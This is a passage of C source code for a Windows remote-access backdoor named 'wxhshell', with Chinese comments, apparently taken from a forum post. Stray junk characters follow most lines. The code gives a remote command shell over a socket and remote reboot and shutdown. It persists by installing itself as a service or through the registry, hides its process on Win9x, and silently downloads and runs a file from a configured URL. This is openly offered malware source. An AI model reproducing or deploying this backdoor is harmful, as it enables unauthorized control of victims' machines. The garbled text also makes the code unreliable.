  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z(rK^RT  
  } 16?C@` S>  
  else { RT/qcS^Oz  
Hg aZbb>'  
    switch(cmd[0]) { ^j[Ku  
  X5 j=C]  
  // 帮助 ifvU"l  
  case '?': { P2t_T'R}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E0<)oQ0Xa>  
    break; "ee'2O  
  } zA,/@/'(  
  // 安装 aLYLd/ KV  
  case 'i': { 'g~@"9'oe  
    if(Install())   Y<aO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o)p[ C   
    else gJKKR]4*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u0g*O]Y  
    break; %Lyz_2q A  
    } 1|]xo3j"'  
  // 卸载 dqxd3,Z  
  case 'r': { ,z G(u 1  
    if(Uninstall()) %<AS?Ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _[F@1NJ  
    else Qm; BUG]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7OE[RX8!f  
    break; wA631kr  
    } SOs,)  
  // 显示 wxhshell 所在路径 rd">JEK;;  
  case 'p': { rw]yKH  
    char svExeFile[MAX_PATH]; XGhwrI^  
    strcpy(svExeFile,"\n\r"); |AC6sfA+  
      strcat(svExeFile,ExeFile); `.[ 8$  
        send(wsh,svExeFile,strlen(svExeFile),0); P.h.M A]  
    break; QLn+R(r  
    } K#wK1 Sv  
  // 重启 5j`v`[B;  
  case 'b': { Yg&` U^7]B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rn H}#u+  
    if(Boot(REBOOT)) UGCox-W"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1~*;;F  
    else { 6g~+( ({lQ  
    closesocket(wsh); D^|7#b,zcH  
    ExitThread(0); G5;V.#"Z[  
    } Dkw*Je#6PX  
    break; Z\'wm'  
    } PtqGX=u  
  // 关机 pC^2Rzf  
  case 'd': { :~D]; m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x9~[HuJ  
    if(Boot(SHUTDOWN)) 4w;~4#ZPp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lLMPw}r<  
    else { 3nrqo<X  
    closesocket(wsh); nP;;MX:B  
    ExitThread(0); "wINBya'M  
    } L+t[&1cW  
    break; S>#R_H<(  
    } s1=+::  
  // 获取shell . ,R4WA,  
  case 's': { `|?]CkP  
    CmdShell(wsh); SM<d  
    closesocket(wsh); (6clq:c7j  
    ExitThread(0); ;'^, ,{  
    break; )2V@p~k?  
  } r0{]5JZt/  
  // 退出 yl/a:Q  
  case 'x': { 'hF@><sqk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |xeE3,8  
    CloseIt(wsh); #w*"qn#2Uz  
    break; 4.'JLArw  
    } GS4_jvD-  
  // 离开 C_Gzv'C"L  
  case 'q': { .8(%4ejJ(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;UpJ=?W  
    closesocket(wsh); :Eo8v$W\RB  
    WSACleanup(); />F.Nsujy  
    exit(1); 02pplDFsM  
    break; hfv%,,e  
        } /WYh[XKe  
  } dhtb?n{  
  } 1a8$f5  
5r7h=[N  
  // 提示信息 $H;+}VQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KoF iQ?  
} vYdlSe=6G  
  } m|1n x  
?ZX!7^7  
  return; Up|f=@=  
} c3W BALdh  
{cR3.%wX  
// shell模块句柄 B6%&gXr\  
int CmdShell(SOCKET sock) !=[>r'+3  
{ /< QSe  
STARTUPINFO si; 7xT[<?,  
ZeroMemory(&si,sizeof(si)); wDw<KU1UK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IT&i,`cJ~F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; no|Gq>Xp  
PROCESS_INFORMATION ProcessInfo; TY6 rwU  
char cmdline[]="cmd"; +N R n0 z(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *<q4S(l  
  return 0; K(OaW)j  
} Y 1y E  
l#xw.2bo  
// 自身启动模式 Xm@aYNV  
int StartFromService(void) }N]!0Ka  
{ eEP( ).  
typedef struct SH=:p^J  
{ sUc iFAb  
  DWORD ExitStatus; ,]q%/yxi  
  DWORD PebBaseAddress; 9|3o<  
  DWORD AffinityMask; Z Xb}R^O-  
  DWORD BasePriority; Y|RdzC M  
  ULONG UniqueProcessId; |X3">U +-  
  ULONG InheritedFromUniqueProcessId; On%,l  
}   PROCESS_BASIC_INFORMATION; )E-E0Hl>7  
YxyG\J\|,  
PROCNTQSIP NtQueryInformationProcess; aDveU)]=1  
n_P(k-^U*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }p{;^B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *8UYSA~v  
f[}|rf  
  HANDLE             hProcess; c[:Wf<% |  
  PROCESS_BASIC_INFORMATION pbi; t:T?7-XIE  
Nb1J ~v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oyW00]ka  
  if(NULL == hInst ) return 0; &^+3er rO  
u`6/I#q`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  i6 L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F`srE6H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EneAX&SG  
MA6P"?  
  if (!NtQueryInformationProcess) return 0; 9U'[88  
,LZ(^ u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5~U:@Tp  
  if(!hProcess) return 0; xlw 2g<s  
p8>R#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (: OHyeNt  
O<`,,^4w/  
  CloseHandle(hProcess); =G>.-Qfs  
q^]tyU!w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q!]IG;3Sx|  
if(hProcess==NULL) return 0;  (YrR8  
^IgS  
HMODULE hMod; :H\&2/j  
char procName[255]; 9P0yv3  
unsigned long cbNeeded; Pgev)rh[  
/RqhykgZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l5HWZs^  
HlRAD|]\  
  CloseHandle(hProcess); oLP]N$'#  
>h%\HMKk  
if(strstr(procName,"services")) return 1; // 以服务启动 y\Dn^  
S+pP!YX  
  return 0; // 注册表启动 +c r  
} &57U? oY  
!qw4mN  
// 主模块 ,R}Z=w#  
int StartWxhshell(LPSTR lpCmdLine) _.=`>%,  
{ [TEcg^  
  SOCKET wsl; Z(UD9wY5m  
BOOL val=TRUE; 4|F#gK5E  
  int port=0; 8 }z3CuM  
  struct sockaddr_in door; ^jOCenE 3  
G4m4k  
  if(wscfg.ws_autoins) Install(); &-4 ?!  
~},~c:fF?  
port=atoi(lpCmdLine); 9FNwpL'C  
@>:i-5  
if(port<=0) port=wscfg.ws_port; c _mq  
6F-JK1i  
  WSADATA data; eJ:Yj ~X`<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NQR^%<hU  
OAVQ`ek  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E*^ 9|Y[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SUc6/'Rdr  
  door.sin_family = AF_INET; `Hd9\;NJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]ViOr8u  
  door.sin_port = htons(port); iD`k"\>9  
HL8(lPgS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h>|u:]I>  
closesocket(wsl); ]v GgJ<  
return 1; @?d?e+B  
} LfllO  
(Y)!"_|  
  if(listen(wsl,2) == INVALID_SOCKET) { Y'JL(~|  
closesocket(wsl); pZ\$50t&O  
return 1; \gd6Yx^[  
} 3&9zGy{V+  
  Wxhshell(wsl); RpAiU  
  WSACleanup(); C Oa.xyp  
^Xa*lR 3  
return 0; O%VA)<  
'z-D%sCA  
} h"8QeX:((  
VWD.J  
// 以NT服务方式启动 CrO`=\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]hKgA~;  
{ ]4GZ'&m}  
DWORD   status = 0; obYn&\6  
  DWORD   specificError = 0xfffffff; ZYDW v/u  
]<+3Vw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e2bLkb3c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %Zu Ll(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (Xj.iP  
  serviceStatus.dwWin32ExitCode     = 0; >|(%2Zl  
  serviceStatus.dwServiceSpecificExitCode = 0; /sV?JV[t  
  serviceStatus.dwCheckPoint       = 0; @`Wt4<  
  serviceStatus.dwWaitHint       = 0; 6W:1>,xS  
#!L%J<MX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fa yKM  
  if (hServiceStatusHandle==0) return; [G=:?J,P  
5y}BCY2=/  
status = GetLastError(); KqK9X  
  if (status!=NO_ERROR) W\NG>t  
{ hbH#Co~o4#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gg(k7e  
    serviceStatus.dwCheckPoint       = 0; sxk*$jO[]  
    serviceStatus.dwWaitHint       = 0; uR^.  
    serviceStatus.dwWin32ExitCode     = status; yYk|YX(7U  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;.AV;C"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wsI5F&R,  
    return; 1I b_Kmb-  
  } B#:E?a;{  
L&'l3|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L:i+}F;M)s  
  serviceStatus.dwCheckPoint       = 0; gZ*hkKN6  
  serviceStatus.dwWaitHint       = 0; F:,#?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NFV_+{X\  
} ?lyltAxs'  
8J):\jAZ6  
// 处理NT服务事件,比如:启动、停止 *V-ds8AQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `$M etQ  
{ mV%h[~-  
switch(fdwControl) ]Ly8s#<g]N  
{ D Kq-C%  
case SERVICE_CONTROL_STOP: ? o sfL  
  serviceStatus.dwWin32ExitCode = 0; q^%5HeV 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =oPng= :  
  serviceStatus.dwCheckPoint   = 0; q#|r   
  serviceStatus.dwWaitHint     = 0; +NT:<(;|i5  
  { fQ1 0O(`g,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<@fT ewZ  
  } "\<P$&`HA  
  return; 58PKx5`D  
case SERVICE_CONTROL_PAUSE: _)q4I(s*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HGb.656r  
  break; V>r j$Nc]  
case SERVICE_CONTROL_CONTINUE: 5)8 .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0NrTJ R`  
  break; &<@%{h@=  
case SERVICE_CONTROL_INTERROGATE: rXuAixu!t  
  break; {<r`5  
}; G_0)oC@Jl:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `;e^2  
} gLV^Z6eE  
"&}mAWT%If  
// 标准应用程序主函数 g&XhQ.aa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [*t U}9  
{ ,.h$&QFj;  
1MpX] j8C#  
// 获取操作系统版本 VD9J}bgJ  
OsIsNt=GetOsVer(); cT I,1U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l%@dE7<&#Z  
5/k)\`  
  // 从命令行安装 E::<; 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4V1|jy3  
&62` Wr0C  
  // 下载执行文件 p#z;cjfSt  
if(wscfg.ws_downexe) { r.9 $y/5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8>m1UONr  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;}f6Y['z  
} o3fR3P%$  
gn364U a  
if(!OsIsNt) { @ E >eq.m  
// 如果时win9x,隐藏进程并且设置为注册表启动 ThbP;CzI#  
HideProc(); (%.</|u  
StartWxhshell(lpCmdLine); EtJD'&  
} F-$Kv-f  
else }~V,_Fv  
  if(StartFromService()) Xa>}4j.  
  // 以服务方式启动 |fx#KNPf]  
  StartServiceCtrlDispatcher(DispatchTable); f7S^yA[[  
else L+uOBW_  
  // 普通方式启动 -GK'V  
  StartWxhshell(lpCmdLine); 5vYsA1Z  
aK!xRnY  
return 0; +B](5z4  
}
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只看该作者 1 发表于: 2006-10-10
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